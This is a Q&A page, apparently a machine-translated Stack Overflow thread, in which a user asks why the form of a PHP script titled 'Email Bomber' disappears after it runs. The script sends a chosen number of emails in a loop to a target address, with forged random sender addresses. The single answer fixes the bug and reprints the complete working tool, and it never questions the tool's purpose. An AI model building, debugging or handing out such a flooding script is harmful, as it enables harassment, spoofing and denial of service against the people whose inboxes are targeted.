0

出于某种原因,每当这个脚本被执行到它应该回显“它工作!”的地步时,消息就会显示,但应该在它上面的表单会消失。

我的代码:

<?php

    $message    = $_REQUEST['message'];
    $email      = $_REQUEST['email'];
    $times      = $_REQUEST['times'];
    $subject    = $_REQUEST['subject'];
    $to         = $_REQUEST['to'];

    for ($i=1; $i<=$times; $i++) {
        mail( "$to", "$subject", $message, "From:" . rand() . "@$email" ) ;
    }

?>

    <form method="POST" id="email">

        <h1>Email Bomber</h1>

        <fieldset id="inputs">
            <input name="times" type="text" placeholder="How Many Emails" autofocus required>
            <input name="email" type="text" placeholder="Email Suffix" autofocus required> 
            <input name="to" type="email" placeholder="Who Do You Want To Email" autofocus required> 
            <input name="subject" type="text" placeholder="Email Subject" autofocus required> 
            <textarea name="message" placeholder="The Email Message" rows="15" cols="40"></textarea>
        </fieldset>

        <fieldset id="actions">
            <input type="submit" id="submit" name="Send" value="Send Email">
        </fieldset>
    </form>

    <?php

        if (isset($_REQUEST['message'])) {

            echo "IT WORKED!";

        }

    ?>
4

1 回答 1

0

应该 :

PHP代码:

<?php
if (isset($_REQUEST['Send'])) {

$message    = $_REQUEST['message'];
$email      = $_REQUEST['email'];
$times      = $_REQUEST['times'];
$subject    = $_REQUEST['subject'];
$to         = $_REQUEST['to'];

for ($i=1; $i<=$times; $i++) {
    mail( "$to", "$subject", $message, "From:" . rand() . "@$email" ) ;
}

echo "IT WORKED!";
}
?>

HTML:

<form method="POST" id="email" action="#">

    <h1>Email Bomber</h1>

    <fieldset id="inputs">
        <input name="times" type="text" placeholder="How Many Emails" autofocus required>
        <input name="email" type="text" placeholder="Email Suffix" autofocus required> 
        <input name="to" type="email" placeholder="Who Do You Want To Email" autofocus required> 
        <input name="subject" type="text" placeholder="Email Subject" autofocus required> 
        <textarea name="message" placeholder="The Email Message" rows="15" cols="40"></textarea>
    </fieldset>

    <fieldset id="actions">
        <input type="submit" id="submit" name="Send" value="Send Email">
    </fieldset>
</form>
于 2013-02-09T07:54:01.590 回答